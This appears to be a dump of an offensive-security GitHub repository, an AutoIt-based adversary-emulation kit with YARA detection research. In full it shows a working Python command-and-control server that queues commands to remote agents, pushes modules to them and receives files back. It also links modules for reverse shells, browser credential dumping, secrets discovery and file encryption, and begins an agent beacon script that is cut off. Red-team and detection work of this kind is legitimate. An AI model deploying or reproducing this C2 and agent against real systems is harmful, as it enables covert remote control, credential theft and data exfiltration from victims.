├── .gitignore ├── .gitmodules ├── 1 - Covert Malware Delivery and Ingress Tool Transfer ├── bypassit-C2 │ ├── bypassit.py │ ├── readme.md │ ├── scripts │ │ ├── AutoCryptIT.a3x │ │ ├── AutoDecryptIT.a3x │ │ ├── DiscoverBasicHostRecon.a3x │ │ ├── DiscoverFilesPII.a3x │ │ ├── DiscoverFilesSecrets.a3x │ │ ├── DiscoverPortScanner.a3x │ │ ├── DownLoadandInstallProgram.a3x │ │ ├── HostFile2blockListofURLs.a3x │ │ ├── HostFileEntrytoSinkholeAVurl.a3x │ │ ├── PersistViaScheduledTask.a3x │ │ ├── RDPconnect.a3x │ │ ├── chromeDump.a3x │ │ ├── edgeDump.a3x │ │ ├── obuscated_reverse_shell.a3x │ │ └── reverse_shell.a3x │ ├── static │ │ └── style.css │ └── templates │ │ └── agents.html └── bypassit-agent.au3 ├── 2 - Discovery ├── DiscoverBasicHostRecon.au3 ├── DiscoverFilesPII.au3 ├── DiscoverFilesSecrets.au3 └── DiscoverPortScanner.au3 ├── 3 - Defense Evasion ├── Defense Evasion - Deny Outbound Firewall.au3 ├── Defense Evasion - Deny Outbound Firewall.exe ├── HostFile2blockListofURLs.au3 ├── HostFile2blockListofURLs.exe ├── HostFileEntrytoSinkholeAVurl.au3 ├── HostFileEntrytoSinkholeAVurl.exe ├── NTDLL_Modification.au3 ├── PersistViaScheduledTask.au3 ├── PersistViaScheduledTask.exe └── README.md ├── 4 - Privlege Escalation └── cmstp_uac.au3 ├── 5 - Peristence ├── AddScriptToRegistry.au3 ├── AddScriptToRegistry.exe ├── CreateNewUser.au3 ├── CreateNewUser.exe ├── PersistViaScheduledTask.au3 ├── PersistViaScheduledTask.exe └── ReadMe.md ├── 6 - Credential Access ├── chromeDump.au3 └── edgeDump.au3 ├── 7 - Lateral Movement ├── DownLoadandInstallProgram.au3 └── RDPconnect.au3 ├── 8 - Command and Control ├── obuscated_reverse_shell.au3 └── reverse_shell.au3 ├── 9 - Impact ├── AutoCryptIT.au3 ├── AutoDecryptIT.au3 ├── autoCrypt.exe └── autoDecrypt.exe ├── Detection ├── ioc │ └── imphash ├── research │ ├── README-RESEARCH.MD │ ├── imphash_research.py │ ├── rule_assesment.py │ └── sample_autoit_malware.py └── yara │ ├── combined_autoit.yara │ └── gen_autoit_research.yara ├── LICENSE └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Project Specific 2 | Detection/downloads/* 3 | yara_results*.txti 4 | autoit_seeker_results* 5 | 6 | # OS generated files 7 | .DS_Store 8 | .DS_Store? 9 | .Spotlight-V100 10 | .Trashes 11 | ehthumbs.db 12 | Thumbs.db 13 | 14 | # Logs 15 | *.log 16 | 17 | # Environments 18 | .env 19 | .venv 20 | env/ 21 | venv/ 22 | ENV/ 23 | env.bak/ 24 | venv.bak/ 25 | 26 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "Detection/sigma-detect-autoit"] 2 | path = Detection/sigma-detect-autoit 3 | url = https://github.com/christian-taillon/detect-autoit 4 | [submodule "Detection/AutoIT-Seeker"] 5 | path = Detection/AutoIT-Seeker 6 | url = git@github.com:christian-taillon/AutoIT-Seeker.git -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/bypassit.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import shutil 3 | import socket 4 | import threading 5 | from flask import Flask, request, jsonify, render_template, send_from_directory, Response, stream_with_context 6 | from flask_sqlalchemy import SQLAlchemy 7 | from datetime import datetime, timedelta 8 | import os 9 | import time 10 | from werkzeug.utils import secure_filename 11 | import json 12 | 13 | # Flask web server setup 14 | app = Flask(__name__) 15 | app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///bypassit.db' 16 | app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False 17 | db = SQLAlchemy(app) 18 | UPLOAD_FOLDER = 'uploads' 19 | SCRIPTS_FOLDER= 'scripts' 20 | app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER 21 | os.makedirs(UPLOAD_FOLDER, exist_ok=True) 22 | 23 | class Agent(db.Model): 24 | id = db.Column(db.Integer, primary_key=True) 25 | agent_id = db.Column(db.String(80), unique=True, nullable=False) 26 | computer_name = db.Column(db.String(80), nullable=False) 27 | status = db.Column(db.String(80), nullable=False, default='online') 28 | last_checkin = db.Column(db.DateTime, default=datetime.utcnow) 29 | pending_command = db.Column(db.String(200), nullable=True) 30 | output_file = db.Column(db.String(200), nullable=True) 31 | 32 | 33 | def __repr__(self): 34 | return f'' 35 | 36 | def init_db(): 37 | with app.app_context(): 38 | db.create_all() 39 | 40 | @app.route('/') 41 | def list_agents(): 42 | agents = Agent.query.all() 43 | return render_template('agents.html', agents=agents) 44 | 45 | @app.route('/command', methods=['POST']) 46 | def send_command(): 47 | data = request.json 48 | agent_id = data.get('agent_id') 49 | command = data.get('command') 50 | 51 | if not agent_id or not command: 52 | return jsonify({'error': 'Agent ID and Command are required'}), 400 53 | 54 | with app.app_context(): 55 | agent = Agent.query.filter_by(agent_id=agent_id).first() 56 | if not agent: 57 | return jsonify({'error': 'Agent not found'}), 404 58 | 59 | agent.pending_command = command 60 | db.session.commit() 61 | log_message(f"Command '{command}' scheduled for agent {agent_id}") 62 | 63 | return jsonify({'message': f"Command '{command}' scheduled for agent {agent_id}"}), 200 64 | 65 | @app.route('/register', methods=['POST']) 66 | def register_agent(): 67 | data = request.json 68 | agent_id = data.get('agent_id') 69 | computer_name = data.get('computer_name') 70 | 71 | if not agent_id or not computer_name: 72 | return jsonify({'error': 'Agent ID and Computer Name are required'}), 400 73 | 74 | with app.app_context(): 75 | agent = Agent.query.filter_by(agent_id=agent_id).first() 76 | if agent: 77 | agent.computer_name = computer_name 78 | agent.status = 'online' 79 | agent.last_checkin = datetime.utcnow() 80 | else: 81 | agent = Agent(agent_id=agent_id, computer_name=computer_name, status='online', last_checkin=datetime.utcnow()) 82 | db.session.add(agent) 83 | db.session.commit() 84 | 85 | return jsonify({'message': f'Agent {agent_id} registered successfully'}), 201 86 | 87 | @app.route('/agents_data') 88 | def agents_data(): 89 | agents = Agent.query.all() 90 | agents_list = [{ 91 | 'agent_id': agent.agent_id, 92 | 'computer_name': agent.computer_name, 93 | 'status': agent.status, 94 | 'last_checkin': agent.last_checkin.strftime("%Y-%m-%d %H:%M:%S") # Format datetime for display 95 | } for agent in agents] 96 | return jsonify(agents_list) 97 | 98 | @app.route('/upload', methods=['POST']) 99 | def upload_file(): 100 | if 'file' not in request.files: 101 | return jsonify({'error': 'No file part'}), 400 102 | file = request.files['file'] 103 | if file.filename == '': 104 | return jsonify({'error': 'No selected file'}), 400 105 | if file: 106 | filename = secure_filename(file.filename) 107 | file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) 108 | return jsonify({'message': f'File {filename} uploaded successfully'}), 200 109 | 110 | @app.route('/upload_module', methods=['POST']) 111 | def upload_module(): 112 | try: 113 | data = request.json 114 | if not data or 'filename' not in data: 115 | return jsonify({'error': 'No filename provided'}), 400 116 | 117 | filename = data['filename'] 118 | source_path = os.path.join(SCRIPTS_FOLDER, filename) 119 | dest_path = os.path.join(UPLOAD_FOLDER, filename) 120 | 121 | if not os.path.exists(source_path): 122 | return jsonify({'error': 'Script not found'}), 404 123 | 124 | shutil.copy2(source_path, dest_path) 125 | return jsonify({'message': f'Module {filename} copied successfully', 'filename': filename}), 200 126 | except Exception as e: 127 | app.logger.error(f'Error in upload_module: {str(e)}') 128 | return jsonify({'error': f'Server error: {str(e)}'}), 500 129 | 130 | @app.route('/scripts/') 131 | def serve_script(filename): 132 | return send_from_directory(SCRIPTS_FOLDER, filename) 133 | 134 | @app.route('/execute_module', methods=['POST']) 135 | def execute_module(): 136 | data = request.json 137 | agent_id = data.get('agent_id') 138 | script_name = data.get('script_name') 139 | 140 | if not agent_id or not script_name: 141 | return jsonify({'error': 'Agent ID and Script Name are required'}), 400 142 | 143 | with app.app_context(): 144 | agent = Agent.query.filter_by(agent_id=agent_id).first() 145 | if not agent: 146 | return jsonify({'error': 'Agent not found'}), 404 147 | 148 | # Schedule the download of the script 149 | download_command = f"download_file {script_name}" 150 | agent.pending_command = download_command 151 | db.session.commit() 152 | log_message(f"Command '{download_command}' scheduled for agent {agent_id}") 153 | 154 | # The execution will be handled automatically by the agent after download 155 | return jsonify({'message': f"Download and execution of '{script_name}' scheduled for agent {agent_id}"}), 200 156 | 157 | 158 | @app.route('/download/', methods=['GET']) 159 | def download_file(filename): 160 | return send_from_directory(app.config['UPLOAD_FOLDER'], filename, as_attachment=True) 161 | 162 | @app.route('/get_scripts') 163 | def get_scripts(): 164 | scripts_dir = 'scripts' 165 | try: 166 | scripts = [f for f in os.listdir(scripts_dir) if f.endswith('.a3x')] 167 | if not scripts: 168 | return jsonify({'error': 'No .au3 scripts found in the scripts directory'}), 404 169 | return jsonify(scripts) 170 | except FileNotFoundError: 171 | return jsonify({'error': 'Scripts directory not found'}), 404 172 | except PermissionError: 173 | return jsonify({'error': 'Permission denied when accessing scripts directory'}), 403 174 | 175 | @app.route('/stream_output/') 176 | def stream_output(agent_id): 177 | def generate(): 178 | with app.app_context(): 179 | agent = Agent.query.filter_by(agent_id=agent_id).first() 180 | if agent and agent.output_file: 181 | with open(agent.output_file, 'r') as f: 182 | while True: 183 | line = f.readline() 184 | if not line: 185 | time.sleep(0.1) # Wait a bit before checking for new content 186 | continue 187 | # Escape the line for JSON and preserve whitespace 188 | escaped_line = json.dumps(line)[1:-1] 189 | yield f"data: {escaped_line}\n\n" 190 | return Response(generate(), mimetype='text/event-stream') 191 | 192 | @app.route('/start_streaming/') 193 | def start_streaming(agent_id): 194 | with app.app_context(): 195 | agent = Agent.query.filter_by(agent_id=agent_id).first() 196 | if agent: 197 | agent.output_file = os.path.join(UPLOAD_FOLDER, f"output_{agent_id}.txt") 198 | db.session.commit() 199 | return jsonify({"status": "success"}) 200 | return jsonify({"status": "error", "message": "Agent not found"}) 201 | 202 | @app.route('/stop_streaming/') 203 | def stop_streaming(agent_id): 204 | with app.app_context(): 205 | agent = Agent.query.filter_by(agent_id=agent_id).first() 206 | if agent: 207 | agent.output_file = None 208 | db.session.commit() 209 | return jsonify({"status": "success"}) 210 | return jsonify({"status": "error", "message": "Agent not found"}) 211 | 212 | @app.route('/clear_output/', methods=['POST']) 213 | def clear_output(agent_id): 214 | with app.app_context(): 215 | agent = Agent.query.filter_by(agent_id=agent_id).first() 216 | if agent and agent.output_file: 217 | try: 218 | os.remove(agent.output_file) 219 | agent.output_file = None 220 | db.session.commit() 221 | return jsonify({"status": "success", "message": "Output file cleared"}) 222 | except Exception as e: 223 | return jsonify({"status": "error", "message": str(e)}) 224 | return jsonify({"status": "error", "message": "Agent not found or no output file"}) 225 | 226 | def update_agent_status(): 227 | """Update the status of agents based on their last check-in time.""" 228 | with app.app_context(): 229 | now = datetime.utcnow() 230 | threshold = now - timedelta(minutes=1) # Set threshold for offline status 231 | 232 | agents = Agent.query.all() 233 | for agent in agents: 234 | if agent.last_checkin < threshold: 235 | agent.status = 'offline' 236 | else: 237 | agent.status = 'online' 238 | db.session.commit() 239 | 240 | def log_message(message): 241 | timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") 242 | print(f"[{timestamp}] {message}") 243 | 244 | def start_status_check(): 245 | while True: 246 | update_agent_status() 247 | time.sleep(60) 248 | 249 | def handle_client(conn, addr): 250 | try: 251 | while True: 252 | data = conn.recv(4096).decode('utf-8').strip() 253 | if not data: 254 | break 255 | log_message(f"Received data from agent: {data}") 256 | 257 | response = "Invalid command" # Default response 258 | 259 | if data.startswith("register|"): 260 | parts = data.split("|") 261 | if len(parts) == 3: 262 | agent_id = parts[1] 263 | computer_name = parts[2] 264 | log_message(f"Received agent registration: ID={agent_id}, ComputerName={computer_name}") 265 | 266 | with app.app_context(): 267 | agent = Agent.query.filter_by(agent_id=agent_id).first() 268 | if not agent: 269 | agent = Agent(agent_id=agent_id, computer_name=computer_name, status='online', last_checkin=datetime.utcnow()) 270 | db.session.add(agent) 271 | else: 272 | agent.computer_name = computer_name 273 | agent.status = 'online' 274 | agent.last_checkin = datetime.utcnow() 275 | db.session.commit() 276 | log_message(f"Agent {agent_id} registered or updated") 277 | response = "Registration successful" # Response for registration 278 | 279 | elif data.startswith("request_action|"): 280 | agent_id = data.split("|")[1] 281 | log_message(f"Action request from agent {agent_id}") 282 | with app.app_context(): 283 | agent = Agent.query.filter_by(agent_id=agent_id).first() 284 | if agent and agent.pending_command: 285 | log_message(f"Pending command for agent {agent_id}: {agent.pending_command}") 286 | if agent.pending_command.startswith("download_file "): 287 | # Handle file download command 288 | filename = agent.pending_command.split(" ", 1)[1] 289 | response = f"download_file|{filename}" 290 | elif agent.pending_command.startswith("upload_file "): 291 | # Handle file upload command 292 | filepath = agent.pending_command.split(" ", 1)[1] 293 | response = f"upload_file|{filepath}" 294 | else: 295 | # Regular command execution 296 | response = f"execute_command|{agent.pending_command}" 297 | agent.pending_command = None # Clear command after sending 298 | db.session.commit() 299 | else: 300 | response = "no_pending_commands" 301 | log_message(f"Responding to request_action for agent {agent_id}: {response}") 302 | 303 | elif data.startswith("download_complete|") or data.startswith("download_failed|"): 304 | parts = data.split("|") 305 | if len(parts) == 3: 306 | agent_id = parts[1] 307 | filename = parts[2] 308 | with app.app_context(): 309 | agent = Agent.query.filter_by(agent_id=agent_id).first() 310 | if agent: 311 | agent.last_response = data 312 | db.session.commit() 313 | log_message(f"Download status updated for agent {agent_id}: {data}") 314 | response = "Status updated" 315 | else: 316 | response = "Agent not found" 317 | else: 318 | response = "Invalid download status format" 319 | 320 | elif data.startswith("start_streaming|"): 321 | parts = data.split("|") 322 | if len(parts) == 2: 323 | agent_id = parts[1] 324 | with app.app_context(): 325 | agent = Agent.query.filter_by(agent_id=agent_id).first() 326 | if agent: 327 | agent.output_file = os.path.join(UPLOAD_FOLDER, f"output_{agent_id}.txt") 328 | db.session.commit() 329 | response = "Streaming started" 330 | log_message(f"Streaming started for agent {agent_id}") 331 | else: 332 | response = "Agent not found" 333 | 334 | elif data.startswith("stream_output|"): 335 | parts = data.split("|", 2) 336 | if len(parts) == 3: 337 | agent_id = parts[1] 338 | output_data = parts[2] 339 | with app.app_context(): 340 | agent = Agent.query.filter_by(agent_id=agent_id).first() 341 | if agent and agent.output_file: 342 | with open(agent.output_file, 'a') as f: 343 | f.write(output_data) 344 | response = "Output received" 345 | else: 346 | response = "Agent not found or streaming not started" 347 | 348 | elif data.startswith("stop_streaming|"): 349 | parts = data.split("|") 350 | if len(parts) == 2: 351 | agent_id = parts[1] 352 | with app.app_context(): 353 | agent = Agent.query.filter_by(agent_id=agent_id).first() 354 | if agent: 355 | agent.output_file = None 356 | db.session.commit() 357 | response = "Streaming stopped" 358 | log_message(f"Streaming stopped for agent {agent_id}") 359 | else: 360 | response = "Agent not found" 361 | 362 | 363 | elif data.startswith("checkin|"): 364 | parts = data.split("|") 365 | if len(parts) == 2: 366 | agent_id = parts[1] 367 | with app.app_context(): 368 | agent = Agent.query.filter_by(agent_id=agent_id).first() 369 | if agent: 370 | agent.last_checkin = datetime.utcnow() 371 | db.session.commit() 372 | log_message(f"Check-in time updated for agent {agent_id}") 373 | response = "Check-in acknowledged" 374 | else: 375 | response = "Agent not found" 376 | else: 377 | response = "Invalid check-in format" 378 | 379 | log_message(f"Sending response to agent: {response}") 380 | conn.sendall((response + "\n").encode('utf-8')) 381 | 382 | except Exception as e: 383 | log_message(f"Error handling client {addr}: {e}") 384 | finally: 385 | conn.close() 386 | log_message(f"Connection closed for {addr}") 387 | 388 | def handle_file_transfer(conn, addr): 389 | log_message(f"File transfer initiated from {addr}") 390 | try: 391 | # Send immediate acknowledgment 392 | conn.send(b'READY') 393 | log_message(f"Sent READY signal to {addr}") 394 | 395 | data = conn.recv(1024).decode('utf-8').strip() 396 | log_message(f"Received data from agent: {data}") 397 | 398 | if not data: 399 | log_message("Received empty data from agent") 400 | return 401 | 402 | parts = data.split('|') 403 | if len(parts) != 2: 404 | log_message(f"Invalid data format received: {data}") 405 | return 406 | 407 | direction, filename = parts 408 | 409 | if direction == 'from_agent': 410 | # Receive file from agent 411 | log_message(f"Preparing to receive file: {filename}") 412 | filepath = os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(filename)) 413 | with open(filepath, 'wb') as f: 414 | while True: 415 | data = conn.recv(4096) 416 | if data.endswith(b'\r\n{EOF}'): 417 | f.write(data[:-7]) 418 | break 419 | f.write(data) 420 | log_message(f"File {filename} received from agent {addr}") 421 | 422 | elif direction == 'to_agent': 423 | # Send file to agent 424 | log_message(f"Preparing to send file: {filename}") 425 | filepath = os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(filename)) 426 | if os.path.exists(filepath): 427 | file_size = os.path.getsize(filepath) 428 | log_message(f"File found, sending file info") 429 | conn.send(f"{filename}|{file_size}".encode('utf-8')) 430 | 431 | # Wait for START signal from agent 432 | start_signal = conn.recv(1024).decode('utf-8').strip() 433 | if start_signal != "START": 434 | log_message(f"Invalid start signal received: {start_signal}") 435 | return 436 | 437 | with open(filepath, 'rb') as f: 438 | while True: 439 | data = f.read(4096) 440 | if not data: 441 | break 442 | conn.send(data) 443 | log_message(f"File {filename} sent to agent {addr}") 444 | else: 445 | log_message(f"File not found: {filepath}") 446 | conn.send(b'FILE_NOT_FOUND') 447 | else: 448 | log_message(f"Invalid direction received: {direction}") 449 | 450 | except Exception as e: 451 | log_message(f"Error in file transfer: {str(e)}") 452 | finally: 453 | conn.close() 454 | log_message(f"File transfer connection closed for {addr}") 455 | 456 | def start_file_transfer_server(): 457 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 458 | server.bind(('0.0.0.0', 5075)) 459 | server.listen(5) 460 | log_message("File transfer server listening on port 5075") 461 | while True: 462 | conn, addr = server.accept() 463 | file_thread = threading.Thread(target=handle_file_transfer, args=(conn, addr)) 464 | file_thread.start() 465 | 466 | def start_cli_server(): 467 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 468 | server.bind(('0.0.0.0', 5074)) 469 | server.listen(5) 470 | log_message("CLI server listening on port 5074") 471 | while True: 472 | conn, addr = server.accept() 473 | client_thread = threading.Thread(target=handle_client, args=(conn, addr)) 474 | client_thread.start() 475 | 476 | def main(): 477 | parser = argparse.ArgumentParser(description='BypassIT Management Server') 478 | parser.add_argument('--cli', action='store_true', help='Start the CLI server') 479 | parser.add_argument('--web', action='store_true', help='Start the web server') 480 | args = parser.parse_args() 481 | print(''' 482 | ____ ______ ______ 483 | /\ _`\ /\__ _\ /\__ _\ 484 | \ \ \L\ \ __ __ _____ __ ____ ____ \/_/\ \/ \/_/\ \/ 485 | \ \ _ <' /\ \/\ \ /\ '__`\ /'__`\ /',__\ /',__\ \ \ \ \ \ \ 486 | \ \ \L\ \ \ \ \_\ \ \ \ \L\ \/\ \L\.\_ /\__, `\/\__, `\ \_\ \__ \ \ \ 487 | \ \____/ \/`____ \ \ \ ,__/\ \__/.\_\ \/\____/\/\____/ /\_____\ \ \ \ 488 | \/___/ `/___/> \ \ \ \/ \/__/\/_/ \/___/ \/___/ \/_____/ \/_/ 489 | /\___/ \ \_\ 490 | \/__/ \/_/ 491 | 492 | ''') 493 | # Print the database file location 494 | database_uri = app.config['SQLALCHEMY_DATABASE_URI'] 495 | if database_uri.startswith('sqlite:///'): 496 | db_path = database_uri.split('sqlite:///')[1] 497 | abs_db_path = os.path.abspath(db_path) 498 | 499 | if args.cli: 500 | threading.Thread(target=start_cli_server).start() 501 | threading.Thread(target=start_file_transfer_server).start() 502 | 503 | if args.web: 504 | init_db() 505 | threading.Thread(target=start_web_server).start() 506 | 507 | status_thread = threading.Thread(target=start_status_check) 508 | status_thread.daemon = True 509 | status_thread.start() 510 | 511 | def start_web_server(): 512 | app.run(host='0.0.0.0', port=8080) 513 | 514 | if __name__ == '__main__': 515 | main() 516 | -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/readme.md: -------------------------------------------------------------------------------- 1 | # How To Use 2 | To start the listener server/GUI, use the command 3 | `python3 bypassit.py --cli --web` 4 | The `bypassit-agent.au3` file will need to be updated to use the correct server IP variable in the beginning of the script. 5 | Once updated, the AutoIT interpreter may be used to launch the agent script, or it can be compiled into an executable. 6 | -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/AutoCryptIT.a3x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/AutoCryptIT.a3x -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/AutoDecryptIT.a3x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/AutoDecryptIT.a3x -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/DiscoverBasicHostRecon.a3x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/DiscoverBasicHostRecon.a3x -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/DiscoverFilesPII.a3x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/DiscoverFilesPII.a3x -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/DiscoverFilesSecrets.a3x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/DiscoverFilesSecrets.a3x -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/DiscoverPortScanner.a3x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/DiscoverPortScanner.a3x -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/DownLoadandInstallProgram.a3x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/DownLoadandInstallProgram.a3x -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/HostFile2blockListofURLs.a3x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/HostFile2blockListofURLs.a3x -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/HostFileEntrytoSinkholeAVurl.a3x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/HostFileEntrytoSinkholeAVurl.a3x -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/PersistViaScheduledTask.a3x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/PersistViaScheduledTask.a3x -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/RDPconnect.a3x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/RDPconnect.a3x -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/chromeDump.a3x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/chromeDump.a3x -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/edgeDump.a3x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/edgeDump.a3x -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/obuscated_reverse_shell.a3x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/obuscated_reverse_shell.a3x -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/reverse_shell.a3x: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CroodSolutions/BypassIT/e67052b800038c4dc740709671326327aba84ce7/1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/scripts/reverse_shell.a3x -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/static/style.css: -------------------------------------------------------------------------------- 1 | body { 2 | font-family: Arial, sans-serif; 3 | margin: 20px; 4 | } 5 | 6 | h1 { 7 | text-align: center; 8 | } 9 | 10 | table { 11 | width: 100%; 12 | border-collapse: collapse; 13 | margin: 20px 0; 14 | } 15 | 16 | table, th, td { 17 | border: 1px solid black; 18 | } 19 | 20 | th, td { 21 | padding: 8px 12px; 22 | text-align: left; 23 | } 24 | 25 | th { 26 | background-color: #f2f2f2; 27 | } 28 | -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-C2/templates/agents.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | BypassIT Agents 6 | 149 | 150 | 151 |

BypassIT Agents

152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 |
Agent IDComputer NameStatusLast CheckinCommandModulesUpload FileDownload File
168 | 169 | 175 | 176 | 442 | 443 | 444 | -------------------------------------------------------------------------------- /1 - Covert Malware Delivery and Ingress Tool Transfer/bypassit-agent.au3: -------------------------------------------------------------------------------- 1 | #NoTrayIcon 2 | #Region ;**** Directives created by AutoIt3Wrapper_GUI **** 3 | #AutoIt3Wrapper_Outfile_type=a3x 4 | #AutoIt3Wrapper_Outfile=C:\Users\defcon\Desktop\bypassit-agent3.a3x 5 | #AutoIt3Wrapper_Add_Constants=n 6 | #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI **** 7 | ; *** Start added by AutoIt3Wrapper *** 8 | #include 9 | #include 10 | ; *** End added by AutoIt3Wrapper *** 11 | 12 | ; Predefined variables 13 | Global $BypassIT_Server_IP = "10.0.2.13" 14 | Global $MsgPort = 5074 15 | Global $FilePort = 5075 16 | Global $sSerial = 1892 17 | Global $CheckinInterval = 10000 ; Default check-in interval in milliseconds 18 | Global $Recv, $RecvArray, $timeout 19 | Global $LogFile = @ScriptDir & "\log.txt" 20 | Global $WorkingDir = @ScriptDir ; Default working directory 21 | Global $g_bHasStreamed = False 22 | 23 | ; Function to write logs to a file 24 | Func WriteLog($message) 25 | Local $hFile = FileOpen($LogFile, 1) 26 | If $hFile = -1 Then 27 | MsgBox(0, "Error", "Unable to open log file.") 28 | Return 29 | EndIf 30 | FileWriteLine($hFile, @YEAR & "/" & @MON & "/" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC & " - " & $message) 31 | FileClose($hFile) 32 | EndFunc 33 | 34 | ; TCP Connectivity Test 35 | TCPStartup() 36 | $Socket = TCPConnect($BypassIT_Server_IP, $MsgPort) 37 | If $Socket = -1 Then 38 | MsgBox(0, "Connectivity Test", "Failed to connect to " & $BypassIT_Server_IP & ":" & $MsgPort) 39 | WriteLog("Failed to connect to " & $BypassIT_Server_IP & ":" & $MsgPort) 40 | Exit 41 | Else 42 | MsgBox(0, "Connectivity Test", "Successfully connected to " & $BypassIT_Server_IP & ":" & $MsgPort) 43 | WriteLog("Successfully connected to " & $BypassIT_Server_IP & ":" & $MsgPort) 44 | TCPCloseSocket($Socket) 45 | EndIf 46 | TCPShutdown() 47 | 48 | ; Register with the server 49 | SendMsg("register|" & $sSerial & "|" & @ComputerName, -1) 50 | WriteLog("Registration sent.") 51 | 52 | ; Main loop for checking in 53 | While 1 54 | ; Check in with Agent_ID and await queued action 55 | SendMsg("request_action|" & $sSerial, 10000) 56 | 57 | Switch $RecvArray[1] 58 | Case "new_checkin_interval" 59 | $CheckinInterval = Number($RecvArray[2]) 60 | WriteLog("Server requesting new checkin interval of " & $CheckinInterval / 1000 & " seconds") 61 | 62 | Case "download_file" 63 | If $RecvArray[0] >= 2 Then 64 | $filename = $RecvArray[2] 65 | WriteLog("Attempting to download file: " 